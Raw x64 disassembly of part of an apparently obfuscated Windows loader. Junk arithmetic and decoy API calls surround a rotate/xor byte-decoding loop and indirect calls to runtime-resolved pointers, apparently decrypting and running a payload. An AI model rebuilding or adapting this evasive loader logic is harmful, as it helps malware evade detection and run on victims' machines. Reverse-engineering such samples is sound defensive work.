mov qword [rsp + 0x198], rax
movzx edx, word [rsp + 0x1f8]
mov rax, qword [rsp + 0x500]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x140018004], ax
mov rax, qword [rsp + 0x3a8]
movzx eax, byte [rax]
mov byte [rsp + 0x480], al
movsx eax, word [rsp + 0x120]
movsx ecx, word [rsp + 0x528]
sub eax, ecx
mov word [rsp + 0x13c], ax
movzx eax, byte [rsp + 0x26c]
mov byte [rsp + 0x228], al
movsx eax, word [rsp + 0x4c0]
movsx ecx, word [rsp + 0x328]
add eax, ecx
mov word [rsp + 0x528], ax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
mov dword [rsp + 0x644], eax
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rsp + 0x400]
sub rax, rcx
mov qword [rsp + 0x550], rax
mov rcx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x678]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x5c0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x1d0], rax
movzx eax, byte [rsp + 0x260]
mov byte [0x140019345], al
movzx eax, word [rsp + 0x168]
movzx ecx, word [0x140018004]
sub eax, ecx
mov word [rsp + 0x1f8], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x135]
sub eax, ecx
mov byte [rsp + 0x4f8], al
movsx edx, word [rsp + 0x334]
mov rax, qword [rsp + 0x4e0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x690], ax
mov rax, qword [rsp + 0x178]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x260]
or ecx, eax
mov rax, qword [rsp + 0x178]
mov byte [rax], cl
mov eax, dword [rsp + 0x668]
movzx ecx, al
mov eax, dword [rsp + 0x448]
shr eax, cl
mov dword [rsp + 0x100], eax
mov ecx, dword [rsp + 0x644]
mov eax, dword [0x140019340]
xor eax, ecx
mov dword [rsp + 0x4d8], eax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x428]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x3c8]
mov rcx, qword [0x140019388]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x320]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x140019368]
mov byte [rax], cl
mov rax, qword [rsp + 0x530]
movzx edx, word [rax]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x9c], ax
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x630]
add eax, ecx
mov byte [rsp + 0x318], al
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x148]
add eax, ecx
mov word [rsp + 0x574], ax
movsx edx, word [rsp + 0x528]
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x328], ax
mov ecx, dword [rsp + 0x590]
mov eax, dword [rsp + 0xe8]
add eax, ecx
mov dword [rsp + 0x44], eax
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x290]
add eax, dword [rcx]
mov dword [rsp + 0x248], eax
mov rcx, qword [rsp + 0x288]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x608], rax
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rax
mov rax, qword [rsp + 0x2c8]
mov qword [rax], rcx
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x330], eax
movzx edx, word [0x140018024]
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x574], ax
mov rax, qword [rsp + 0xf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x519]
or eax, ecx
mov byte [0x140019408], al
movsx ecx, word [rsp + 0x6a0]
movsx eax, word [rsp + 0x334]
and ecx, eax
mov rax, qword [rsp + 0x3e0]
mov word [rax], cx
movzx ecx, byte [rsp + 0x3b0]
movzx eax, byte [rsp + 0x135]
add ecx, eax
mov rax, qword [rsp + 0x548]
mov byte [rax], cl
mov rax, qword [rsp + 0x178]
movsx ecx, byte [rax]
mov rax, qword [0x140019348]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x178]
mov byte [rax], cl
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x634]
sub eax, ecx
mov dword [rsp + 0x44], eax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x60]
sub eax, ecx
mov dword [rsp + 0x348], eax
mov eax, dword [rsp + 0x420]
add eax, 0x5f
mov dword [rsp + 0x420], eax
mov rax, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x288]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x198]
sub rcx, rax
mov rax, qword [rsp + 0x360]
mov qword [rax], rcx
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
movzx eax, word [0x140018020]
add ecx, eax
mov rax, qword [rsp + 0x568]
mov word [rax], cx
mov rax, qword [rsp + 0x4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13c]
add eax, ecx
mov word [0x140018030], ax
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d8]
add eax, ecx
mov byte [rsp + 0x519], al
mov rax, qword [0x140019370]
movzx edx, word [rax]
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4c4], ax
cmp dword [rsp + 0x420], 0xf710
jb 0x140007dca
mov dword [rsp + 0x208], 0x6a2d5483
movzx edx, byte [rsp + 0x134]
mov rax, qword [rsp + 0x1f0]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [0x140018010]
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x644]
xor eax, ecx
mov dword [rsp + 0x44], eax
mov rcx, qword [rsp + 0x628]
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x290]
mov dword [rax], ecx
mov eax, dword [rsp + 0x208]
add eax, 0x95d6ab7d
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
mov qword [rsp + 0x4b8], rax
movsx eax, byte [rsp + 0x638]
movsx ecx, byte [rsp + 0x480]
and eax, ecx
mov byte [rsp + 0x98], al
mov dword [rsp + 0x374], 0x10540
lea rax, [rsp + 0x470]
mov qword [0x140019398], rax
mov rax, qword [rsp + 0x4e0]
movzx eax, word [rax]
mov word [rsp + 0x2e8], ax
mov eax, dword [rsp + 0x374]
or eax, 0xb8
mov dword [rsp + 0x374], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov r11, qword [0x140019370]
movzx edx, word [r11]
mov rax, qword [rsp + 0x568]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4d4], ax
movzx eax, byte [rsp + 0x2ed]
movzx ecx, byte [rsp + 0x4f0]
add eax, ecx
mov byte [rsp + 0x370], al
lea rax, [rsp + 0x550]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0x374]
mov dword [rsp + 0x570], eax
mov rax, qword [rsp + 0x190]
mov ecx, dword [rsp + 0x668]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x608]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x180]
sub ecx, eax
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
movzx eax, word [rsp + 0x148]
mov word [rsp + 0x1ec], ax
mov rax, qword [rsp + 0x770]
mov rax, qword [rax + 0x14200]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x5a0]
sub rdx, rax
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rsp + 0x400]
and rax, rcx
cmp rdx, rax
jne 0x140008483
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
mov dword [rsp + 0x74c], eax
cmp dword [rsp + 0x74c], 0
je 0x1400083fc
cmp dword [rsp + 0x74c], 0x5f6
je 0x14000837e
jmp 0x140008481
movzx ecx, byte [rsp + 0x370]
mov rax, qword [rsp + 0x588]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x140019368]
mov byte [rax], cl
movsx eax, word [rsp + 0x13c]
movsx ecx, word [rsp + 0x334]
xor eax, ecx
mov word [rsp + 0x120], ax
mov rax, qword [rsp + 0x178]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x334]
or eax, ecx
mov word [rsp + 0x690], ax
jmp 0x140008481
movzx edx, byte [rsp + 0x228]
mov rax, qword [rsp + 0x540]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1f0]
mov byte [rax], cl
mov rdx, qword [rsp + 0x658]
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x634], eax
mov rax, qword [rsp + 0x478]
mov rax, qword [rax]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x288]
add rax, qword [rcx]
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov dword [rsp + 0x5d0], eax
jmp 0x1400084ab
lea r9, [rsp + 0x3d8]
mov r8d, 0x4d
mov edx, 0xfb
mov rcx, qword [rsp + 0x300]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x3f0], rax
mov r8d, dword [rsp + 0x570]
mov edx, dword [rsp + 0x374]
mov ecx, dword [rsp + 0x208]
call qword [rsp + 0x220]
mov qword [rsp + 0x660], rax
lea rax, [rsp + 0x460]
mov qword [0x140019350], rax
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov dword [rsp + 0x750], eax
cmp dword [rsp + 0x750], 0
je 0x14000854b
cmp dword [rsp + 0x750], 0xb8ea
je 0x140008509
jmp 0x140008583
mov rax, qword [rsp + 0xf0]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x3d8], al
movzx edx, word [rsp + 0x168]
mov rax, qword [rsp + 0x200]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x1ec], ax
jmp 0x140008583
movsx ecx, word [rsp + 0x120]
mov rax, qword [0x140019350]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x408]
mov word [rax], cx
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x678]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x4f4]
add eax, ecx
mov dword [rsp + 0x348], eax
mov eax, dword [rsp + 0x4d0]
mov dword [rsp + 0x52c], eax
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a0]
and rcx, rax
mov rax, qword [rsp + 0x1e0]
mov qword [rax], rcx
mov dword [rsp + 0x5ac], 0xe74c98ee
mov rax, qword [rsp + 0xf0]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x178]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [0x140019345], al
movsx edx, word [rsp + 0x4c0]
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x334], ax
mov dword [rsp + 0x1c8], 0x80
lea rax, [rsp + 0x2ec]
mov qword [rsp + 0x2a8], rax
movzx edx, byte [rsp + 0x4f8]
mov rax, qword [rsp + 0x1f0]
movzx ecx, byte [rax]
mov eax, edx
cdq
idiv ecx
mov byte [rsp + 0x2ed], al
mov rax, qword [rsp + 0x500]
movzx eax, word [rax]
mov word [rsp + 0x50], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1e8], eax
mov rax, qword [rsp + 0x288]
mov rcx, qword [rsp + 0x378]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x770]
add rax, 0x1c680
mov qword [rsp + 0x240], rax
mov al, byte [0x140019408]
mov byte [rsp + 0x754], al
cmp byte [rsp + 0x754], 0x2e
je 0x1400086dd
jmp 0x140008730
mov ecx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x5d0]
or eax, ecx
mov dword [rsp + 0x4f4], eax
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x210]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x108]
mov dword [rax], ecx
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
add rax, qword [rsp + 0x400]
mov qword [rsp + 0xa8], rax
jmp 0x14000873f
lea rax, [rsp + 0x4c4]
mov qword [0x140019358], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x1f0]
movzx ecx, byte [rax]
mov rax, qword [0x140019398]
movzx eax, byte [rax]
imul ecx, eax
mov rax, qword [rsp + 0x548]
mov byte [rax], cl
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x4a0], ax
mov rax, qword [rsp + 0x188]
movsx r8d, byte [rax]
mov rax, qword [rsp + 0x178]
movsx eax, byte [rax]
and r8d, eax
movsx edx, byte [rsp + 0x508]
mov rax, qword [0x140019380]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp r8d, eax
jne 0x1400087cb
mov rax, qword [rsp + 0x210]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4d0]
call fcn.140001150
jmp 0x1400087f7
mov rdx, qword [rsp + 0x2c8]
mov rax, qword [rsp + 0x2b8]
mov rax, qword [rax]
mov rdx, qword [rdx]
sub rdx, rax
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x198]
add rax, rcx
mov dword [rsp + 0x2c0], 0x85fbd073
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3e8], eax
mov rax, qword [rsp + 0x4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x670]
add eax, ecx
mov word [rsp + 0x13c], ax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x518], al
mov rax, qword [rsp + 0x210]
mov ecx, dword [rsp + 0x48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3a0], eax
lea rax, [rsp + 0x668]
mov qword [rsp + 0x128], rax
mov eax, dword [rsp + 0x2c0]
add eax, 0x7a55bd15
mov dword [rsp + 0x2c0], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [rsp + 0x5a0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x1e0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x288]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1a0]
sub rax, rcx
mov qword [rsp + 0x6a8], rax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x630]
and eax, ecx
mov byte [0x140018006], al
mov eax, dword [rsp + 0x2c0]
cmp dword [rsp + 0x1c8], eax
jae 0x140008e9b
movzx ecx, word [rsp + 0x9c]
mov rax, qword [rsp + 0x530]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x500]
mov word [rax], cx
movsx edx, word [rsp + 0x6a0]
mov rax, qword [rsp + 0x408]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x460], ax
movzx edx, byte [rsp + 0x624]
movzx eax, byte [rsp + 0x54]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x99], al
movsx edx, byte [rsp + 0x480]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x508], al
mov rax, qword [rsp + 0x290]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x440]
add ecx, dword [rax]
mov rax, qword [rsp + 0x290]
mov dword [rax], ecx
mov rax, qword [rsp + 0x108]
mov ecx, dword [rsp + 0x3a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44], eax
mov rax, qword [rsp + 0x380]
movzx eax, byte [rax]
mov byte [rsp + 0x1fc], al
mov rcx, qword [rsp + 0x388]
mov rax, qword [rsp + 0x608]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x288]
mov qword [rax], rcx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x360]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x278]
movzx edx, word [rax]
mov rax, qword [rsp + 0x568]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x140018008], ax
mov rax, qword [rsp + 0x450]
movsx edx, word [rax]
mov rax, qword [0x140019350]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x460], ax
movzx ecx, byte [rsp + 0x5ac]
movzx eax, byte [rsp + 0x1fc]
rol al, cl
mov byte [rsp + 0x1fc], al
movsx eax, byte [rsp + 0x508]
movsx ecx, byte [rsp + 0x98]
add eax, ecx
mov byte [rsp + 0x260], al
movzx ecx, byte [rsp + 0x3b0]
mov rax, qword [rsp + 0x588]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x320]
mov byte [rax], cl
movsx edx, word [rsp + 0x690]
mov rax, qword [rsp + 0x408]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x334], ax
mov rax, qword [rsp + 0x440]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x190]
add ecx, dword [rax]
mov rax, qword [rsp + 0x678]
mov dword [rax], ecx
movzx eax, byte [rsp + 0x1fc]
xor eax, dword [rsp + 0x5ac]
mov byte [rsp + 0x1fc], al
mov rcx, qword [0x140018010]
mov rax, qword [rsp + 0x5d8]
add rax, rcx
mov qword [rsp + 0x1a0], rax
mov rcx, qword [rsp + 0x478]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x2b0]
xor rax, rcx
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x634]
movzx ecx, al
mov eax, dword [rsp + 0xe8]
sar eax, cl
mov dword [rsp + 0x44], eax
mov rax, qword [rsp + 0x320]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x4f0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [0x140019398]
mov byte [rax], cl
movsx eax, word [rsp + 0x690]
movsx ecx, word [rsp + 0x2e8]
or eax, ecx
mov word [rsp + 0x418], ax
mov rcx, qword [rsp + 0xb8]
movzx eax, byte [rsp + 0x1fc]
mov byte [rcx], al
mov rax, qword [0x140019390]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x588]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x4f8], al
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x574]
sub eax, ecx
mov word [rsp + 0x148], ax
movsx eax, byte [rsp + 0x2a0]
movsx ecx, byte [0x140019345]
add eax, ecx
mov byte [rsp + 0x5b8], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x138]
and ecx, eax
mov rax, qword [rsp + 0x190]
mov dword [rax], ecx
mov rax, qword [rsp + 0x380]
add rax, 1
mov qword [rsp + 0x380], rax
mov rcx, qword [rsp + 0x210]
mov eax, dword [rsp + 0x4d0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x210]
mov dword [rax], ecx
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x468]
add rax, qword [rcx]
mov qword [rsp + 0x608], rax
mov rcx, qword [rsp + 0x360]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x400]
sub rax, rcx
mov qword [rsp + 0x198], rax
movzx eax, byte [rsp + 0x370]
movzx ecx, byte [0x140018003]
sub eax, ecx
mov byte [0x140018002], al
mov rax, qword [rsp + 0xb8]
add rax, 1
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x408]
movsx edx, word [rax]
mov rax, qword [rsp + 0x298]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x690], ax
movzx edx, word [rsp + 0x1ec]
mov rax, qword [0x140019370]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x4c8]
mov word [rax], cx
mov rax, qword [rsp + 0x178]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x2a8]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x4c8]
movzx edx, word [rax]
movzx eax, word [rsp + 0x50]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x278]
mov word [rax], cx
mov rax, qword [rsp + 0x510]
mov rcx, qword [rsp + 0xa8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x428]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1b8], rax
mov eax, dword [rsp + 0x5ac]
sub eax, 0xec4d
mov dword [rsp + 0x5ac], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x184], eax
mov rax, qword [rsp + 0x190]
mov eax, dword [rax]
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x5ac]
ror eax, 3
mov dword [rsp + 0x5ac], eax
mov rcx, qword [rsp + 0x658]
mov rax, qword [rsp + 0x210]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x108]
mov dword [rax], ecx
movsx eax, word [rsp + 0x418]
movsx ecx, word [rsp + 0x6a0]
sub eax, ecx
mov word [rsp + 0x334], ax
mov eax, dword [rsp + 0x1c8]
add eax, 0x627a
mov dword [rsp + 0x1c8], eax
mov rax, qword [rsp + 0x588]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x134]
add ecx, eax
mov rax, qword [0x140019398]
mov byte [rax], cl
movzx edx, word [rsp + 0x580]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x558], ax
movsx edx, byte [rsp + 0x638]
mov rax, qword [0x140019380]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x4a0]
add ecx, eax
mov rax, qword [rsp + 0x278]
mov word [rax], cx
mov ecx, dword [rsp + 0x4d0]
mov eax, dword [rsp + 0x644]
sub eax, ecx
mov dword [rsp + 0x3a0], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [rsp + 0x368]
add rax, rcx
mov qword [rsp + 0x2b0], rax
jmp 0x1400088d1
mov rax, qword [rsp + 0x288]
mov rax, qword [rax]
mov qword [rsp + 0x160], rax
mov rcx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x628]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x128]
mov dword [rax], ecx
mov rax, qword [rsp + 0x660]
add rax, 0xd4
mov qword [rsp + 0x2d0], rax
mov rax, qword [0x140019350]
movzx eax, word [rax]
mov word [rsp + 0x648], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.BDVOzAhl8wX4qBzWk8JqMwGAwd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x310], rax
movzx edx, byte [rsp + 0x54]
movzx eax, byte [rsp + 0x470]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [0x140019346], al
movsx edx, byte [rsp + 0x158]
movsx eax, byte [rsp + 0x2ec]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x638], al
mov rax, qword [rsp + 0x450]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x334], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x240]
add rax, 0xd4
mov qword [rsp + 0x2d8], rax
mov ecx, dword [rsp + 0x52c]
mov eax, dword [rsp + 0x3a0]
or eax, ecx
mov dword [rsp + 0x4d8], eax
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x378]
and rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x4f4]
mov eax, dword [rsp + 0x448]
sub eax, ecx
mov dword [rsp + 0x348], eax
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x2e0], rax
movsx eax, word [rsp + 0x648]
movsx ecx, word [rsp + 0x690]
sub eax, ecx
mov word [0x140018030], ax
mov rax, qword [rsp + 0x320]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x114], al
lea rcx, [rsp + 0x2d0]
call qword [rsp + 0x660]
mov rax, qword [rsp + 0x4b0]
mov rdx, qword [rsp + 0x428]
add rdx, rax
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1d0]
add rax, rcx
cmp rdx, rax
je 0x1400090f0
movsx edx, byte [rsp + 0x3d8]
mov rax, qword [rsp + 0x688]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x5b8], al
movzx eax, word [rsp + 0x580]
movzx ecx, word [rsp + 0x168]
add eax, ecx
mov word [rsp + 0x574], ax
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
call fcn.140009c00
jmp 0x1400091d9
mov rax, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x198]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x210]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xa0]
or eax, ecx
mov dword [rsp + 0x620], eax
mov rax, qword [rsp + 0x678]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5c0]
mov dword [rax], ecx
movsx eax, word [rsp + 0x13c]
movsx ecx, word [rsp + 0x690]
add eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x1f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x370]
and eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov word [rsp + 0x580], ax
movsx edx, byte [rsp + 0x3d8]
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x5b8], al
mov edx, 0xe2
mov rcx, qword [rsp + 0x2f8]
call qword [sym.imp.GDI32.dll_SetTextColor]
mov dword [rsp + 0x138], eax
movsx eax, word [rsp + 0x690]
movsx ecx, word [rsp + 0x120]
add eax, ecx
mov word [0x14001801c], ax
movzx edx, word [rsp + 0x4d4]
mov rax, qword [rsp + 0x500]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4c4], ax
movsx ecx, word [rsp + 0x418]
movsx eax, word [rsp + 0x690]
add ecx, eax
mov rax, qword [rsp + 0x298]
mov word [rax], cx
movzx edx, byte [rsp + 0x26c]
mov rax, qword [0x140019368]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x4f0], al
